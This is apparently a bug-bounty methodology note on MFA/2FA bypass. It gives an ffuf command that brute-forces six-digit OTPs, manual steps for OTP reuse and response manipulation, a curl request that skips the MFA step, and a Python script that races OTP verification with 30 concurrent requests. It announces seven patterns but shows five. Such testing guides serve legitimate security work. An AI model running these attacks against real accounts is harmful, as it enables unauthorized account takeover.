hunt-mfa-bypass

19. MFA / 2FA BYPASS

Growing bug class — 7 distinct patterns. Pays High/Critical when it enables ATO without prior session.

Pattern 1: No Rate Limit on OTP

# Test with ffuf — all 1M 6-digit codes
ffuf -u "https://target.com/api/verify-otp" \
  -X POST -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"otp":"FUZZ"}' \
  -w <(seq -w 000000 999999) \
  -fc 400,429 -t 5
# -t 5 (slow down) — aggressive rates get 429 or ban

Pattern 2: OTP Not Invalidated After Use

1. Login → receive OTP "123456" → enter it → success
2. Logout → login again with same credentials
3. Try OTP "123456" again
4. If accepted → OTP never invalidated = ATO (attacker sniffs OTP once, reuses forever)

Pattern 3: Response Manipulation

1. Enter wrong OTP → capture response in Burp
2. Change {"success":false} → {"success":true} (or 401 → 200)
3. Forward → if app proceeds → client-side only MFA check

Pattern 4: Skip MFA Step (Workflow Bypass)

# After entering password, app sets a "pre-mfa" cookie → redirects to /mfa
# Test: skip /mfa entirely, access /dashboard directly with pre-mfa cookie
# If app grants access without MFA = auth flow bypass = Critical
curl --max-time 30 --connect-timeout 10 -s -b "session=PRE_MFA_SESSION" https://target.com/dashboard

Pattern 5: Race on MFA Verification

import asyncio, aiohttp

async def verify(session, otp):
    async with session.post("https://target.com/api/mfa/verify",
                            json={"otp": otp}) as r:
        return r.status, await r.text()

async def race():
    cookies = {"session": "YOUR_SESSION"}
    async with aiohttp.ClientSession(cookies=cookies) as s:
        # Fire ~30 concurrent submissions of the SAME OTP to hit the TOCTOU
        # window before the server marks it used. Two requests are NOT enough —
        # they almost always resolve sequentially as "already-used" (false negative).
        # Best done as a single-packet / 20+ HTTP-2-stream attack (Turbo Intruder).
        results = await asyncio.gather(*[verify(s, "123456") for _ in range(30)])
        # Race confirmed if >1 success (or 1 success among many "already-used").
        for status, body in results:
            print(status, body)
asyncio.run(race())